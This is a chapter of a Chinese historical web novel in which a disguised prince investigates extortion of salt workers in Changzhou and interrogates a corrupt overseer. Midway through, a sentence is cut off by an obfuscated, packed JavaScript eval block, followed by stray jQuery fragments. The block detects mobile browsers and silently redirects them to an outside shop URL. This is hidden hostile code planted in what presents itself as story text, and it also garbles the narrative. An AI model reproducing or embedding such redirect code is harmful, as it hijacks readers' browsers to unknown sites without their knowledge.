赵驰昭神情低沉，放下手中的文书幽幽道：
“昨日收到东宫密信，太子已经回到京城，但在永州发现，可能有人私自养兵。”
烛火跳跃，窗上印出二人的身影。赫业竹听完万分惊愕，赵驰昭同样的面色不虞，将信上的内容说出。
信上只有三段话：一是对赵驰昭扬州一行的关切，二是对永州一事的怀疑，最后是对莫圭的嘱托。
莫圭年轻气盛，骄纵自持，却是不可多得的人才，好刀需磨，望六弟对其多加历练，为兄在此谢过。
赵驰昭看着最后一行字，紧紧攥住手中的信纸。即便猜到几分，但真正看到赵祺的嘱托时，还是忍不住感到沮丧。
他与太子，是手足，亦是君臣。哪怕赵祺现在仅是储君之身，在他心里还是有着一道难以越过的隔阂，尤其是在皇后逝世之后，他看到赵祺身上那副冷漠的样子，早已对皇室失望透顶。
他不敢置信，他所信赖的兄长，在母妃逝世之后还能面色如常的向贵妃示好；他敬爱的父皇，明知贵妃就是陷害他母妃的凶手，但仍佯作不知。
他在皇宫里过的压抑，凭着十七岁那年的战功争得了逃离的机会，但此后他与赵祺的关系就渐渐疏远了，他在赵祺眼里，不再是那个一直被他照拂的弟弟，而是他登基路上的一个威胁。
即便如此，赵驰昭仍是在两党相争之中毅然站在太子一列，只为童年回忆中那份纯粹的关怀。
赫业竹看着赵驰昭出神，知道勾起了他的心结，便转移话题道：
“那接下来我们该怎么做？”
赵驰昭低垂着眼，长呼出一口气，道：
“让莫圭回去与贾天宝周旋不过是缓兵之计，当初在贾府遇到的那人现已到了常州，说明常州定有什么不可告人的秘密。”
赵驰昭目光晦暗，顿了顿
“得赶紧将这人找出来，明日我们去一趟常州的盐田。”
赫业竹领命之后，赵驰昭便让其回去休息，自己则看着桌上的文书，暗忖道
柳家，柳崇瑾，究竟在密谋着什么……
烈阳当空伴着蝉鸣，从远处吹来的凉风带走炎夏的燥热，常州太湖流域，一个五大三粗的布衣壮汉正厉声斥责眼前两个皮肤黝黑的青年。
两个青年低垂着头不敢说话，脸上尽是惶恐。但细看粗糙的皮肤之下，两人正是乔装打扮后的赵驰昭与赫业竹。
今日一早，赵驰昭就找来李媚姝，让她给自己与赫业竹二人易容。李媚姝听着无语，但仍是拿起胭脂水粉在二人脸上作画，许久，两人被画成皮肤黝黑的山民模样，看得她直憋笑。
“媚儿，还好我认识你在先，不然得给朝廷带来多大的麻烦。”
赵驰昭看着镜中看不出自己几分原样的脸，感慨道。
“昭哥哥说什么呢，我可是守法的良民。”李媚姝有些无语道。
“好好好。”赵驰昭伸手去摸她的头，浅浅一笑，从一旁拿出一个食盒，道：
“这是椰糕，原想找人给你送去，但既然你来了，就拿着吧。”
李媚姝闻言一喜，立马接过食盒打开来看。
上下两层晶莹透亮的白色椰浆夹着乳酪，一打开就有浓郁的香气飘出，让人垂涎欲滴。椰浆与乳酪都是难得之物，就算是常州也不常见。李媚姝初到常州之时就听说了这椰糕的盛名，却一直买不到，让她郁闷了好久。
拿起一块放进嘴里，香醇的椰浆混杂着乳酪在嘴里化开，李媚姝眼睛一亮，又拿起一块放进千红嘴里
“千红你快尝尝，太好吃了！”
千红接过她手上的椰糕，露出同样惊喜的表情。
赵驰昭看李媚姝的反应，不由得一笑，起身道：
“在这待一会再离开，我要出门一趟，就失陪了。”
李媚姝点点头，视线却没落在赵驰昭身上，和千红自顾自地吃着：
“嗯嗯，昭哥哥快去吧，不用管我们。”
赵驰昭摇摇头，伸手捏了下李媚姝的脸，没好气道：
“小没良心的。”
李媚姝拉过赵驰昭的手，嘻嘻一笑，一副嬉皮笑脸的模样，让他不忍责怪，最后还是略带不舍的离开了。
赵驰昭低着头，眼中透出几分狡黠。当初他与赫业竹跟踪城南其中一个商户来到此处，他立即就发现了这块盐田的蹊跷。盐田的盐户本由统一由官府看管，而此人敢如此趾高气昂，想来是背后有人了。
“大人您消消气，干活要紧，小人一定会对他们多加指点，还请您消消气，饶他们一次吧。”
那人丝毫没有停下来的意思，各种不堪入耳的骂声让四周的人忍不住向此处投来目光，均是一副看热闹的模样。
一名干瘦的青年听着布衣壮汉对着赵驰昭二人不停地谩骂，站出来替二人说话。那汉子看了一眼青年，露出一丝不满
“哟，大牛，你是觉得我仗势欺人了是吗？杨大人让我管教你们，我既然受了大人的令，自然要尽职尽责，大伙说说，是不是这样？”
壮汉扬声说道，四周的盐户一听，立即高声回应，看来是早已习以为常。
赵驰昭在心底冷笑。此人看他们二人是新面孔，明里暗里让他们交银子，美名其曰‘管制费’，实则是为了中饱私囊，满足自己的一己私欲。
二人不肯，壮汉就一直训斥二人至今，若不是眼前的青年站出来替二人说情，只怕接下来免不了一顿毒打。
青年被壮汉的样子一吓，立即往后缩了缩，不敢再多言。应是壮汉在此处的名声极差，其余人见了也不敢出声，最后还是另一名看管之人低声提醒道：
“最近不太平，收敛些吧，届时从二人的俸禄中扣出来不就行了。”
壮汉一听，眼睛一转，最后露出狡猾的笑，愤愤地对赵驰昭二人说道：
“算你们走运，再让我抓到有你们好果子吃！”随即冷哼一声，大步离去。
赵驰昭直起身来，眼中透出冷冽，低头沉思着，随即便听到方才替他二人说话的青年的声音：
“快别发呆了，赶紧干活吧。”
赵驰昭微微一笑，拿起木耙开始将眼前的草灰刮平，低声对着青年说道：
“多谢兄台替我说话，敢问兄台大名，日后小弟定会报答兄台恩情。”
青年看了他一眼，眼神中带着质疑和蔑视，仿佛在说‘你别自不量力’，轻哼一声：
“得了吧，就咱们这点月俸，还不够活的，就别说什么报答不报答的大话了。我不知道自己叫什么，就知道自己名字有一个牛字，你就和大家一样，叫我大牛吧。”
赵驰昭听完，面色阴沉，追问道：
“牛大哥这是何意，难道不信小弟吗，拿记不得名字来搪塞我？”
大牛啧了一声，道：
“你这人怎么这么轴呢，谁骗你了，我真不记得自己叫什么了。当时醒来就发现自己躺在盐场的居舍里，我在这里也已经两年多了，有的是人不记得自己叫什么，你倔什么倔。”
居舍？赵驰昭听到大牛口中提到这个词，不免疑惑。
盐户是有别于寻常百姓的群体，但他们都有自己的住所，没有集中居住规定，只有地主农庄的佃户和宫里的宫人有集中居所。说明这些住在居所里的盐户绝不是通过正常途径来到此处的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571946|204243||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
赵驰昭原打算询问大牛居所在何处，却瞥见壮汉不时往此处投来的目光，便打消了这个念头。
晌午太阳高高悬在头顶，盐户们才陆陆续续地离开盐场，而大牛等人并未离开，在之后的半个时辰内才齐齐来到一处由几块木板，简陋搭建而成的长棚下用膳，吃食不过是几张白面饼和只有几片菜叶的素汤，不见任何荤腥。
赵驰昭听着四周说起‘多久没吃过肉’‘想偷打些野味’的言语，不由得一惊。盐户的收入虽算不得高，但也不至于连肉都吃不起，便凑到大牛身边问起月俸之事，得到了结果令他大吃一惊。
在这长棚下用饭的盐户，均是被集中在此处的散户，受到盐铁巡院杨丰年的直接管控，每月的俸禄仅有一两碎银。
“杨大人体恤我们，每日的吃食虽简陋，但都是不收钱的。”
大牛说起杨丰年时，眼里满是感激与崇敬，随即又提到在每月的月俸之中还得扣除一部分给方才的壮汉，人人都怒不可遏但也无可奈何。
赵驰昭从听出其中端倪：每月被克扣出的银子想来不全是流入壮汉的口袋，而是进了杨丰年的手上，而所谓的吃食不过是为了堵住悠悠众口，不引起暴动的施舍罢了，壮汉也只是一个幌子而已。
赵驰昭与赫业竹对视一眼，直到黄昏之际，盐场上都没有人了，才一路尾随壮汉到其居所才将人绑到官府。
壮汉被捆住手脚，被揭下头上的布罩时，一脸惊恐
“你们是谁？抓我做什么？我告诉你我可是杨大人手下的人，你们敢抓我！怕不是不想在常州待下去了！”
赵驰昭勾唇一笑，一脚踩在壮汉的腿上，力道之大让其忍不住露出吃痛的神情，还没来得及发怒，就听赵驰昭说道：
“当然知道，不过我们也是拿人钱财替人消灾，都是替人办事，你也应当清楚吧。”
壮汉面色顿时惨白，声音颤抖：
“是，是谁？是谁要杀我？我只是按照杨大人的吩咐办事，别的什么都没干啊！”
“是吗？你这样让我们十分为难啊。”赵驰昭加大踩在壮汉身上的力度，声音拉长，让他冷汗直流。
“你再好好想想，指不定还能保住一条小命。”赵驰昭的声音犹如索命的铁链，紧紧锁住壮汉的喉咙，让他喘不过气来，整个人开始发抖，欲哭无泪：
“真没有啊。我对杨大人忠心耿耿，真没有做什么出格的事情啊！”
“听闻你私自扣下盐量出售，中饱私囊，确有此事？”
“冤枉啊大人！每月的盐量我都有好好记录在册，就放在桌子上的格子中，未曾改动啊！”
赵驰昭闻言露出一抹微不可察的笑容，仍是沉着脸问道：
“哼，这只是你的一面之词，谁知道你会不会为了活命故意说出此话来诓骗我们？”
壮汉面如死灰，立即向赵驰昭坦言自己所做的事情，包括克扣盐户的月俸，与盐商接头等诸多事情，待赵驰昭将事情问完，便朝着壮汉的肩膀猛地一劈，冷声说了一句：
“聒噪，还算有点用。”
看着晕过去的人，赵驰昭擦了擦劈晕壮汉的手，一旁的赫业竹随即问道：
“大人，接下来该怎么办？不可能直接将人放回去吧。”
赵驰昭望了望天上的盈月，轻声道：
“看来不得不去一趟孙府了。希望媚儿还没睡。”
此时孙府中，四下无声，唯有一间屋子仍亮着光，正是李媚姝的房间。
烛蜡顺流而下，凝固在火烛底部，李媚姝勾勒着纸上的人物，心思却一直想着白日里遇到的事情，内心久久无法平静。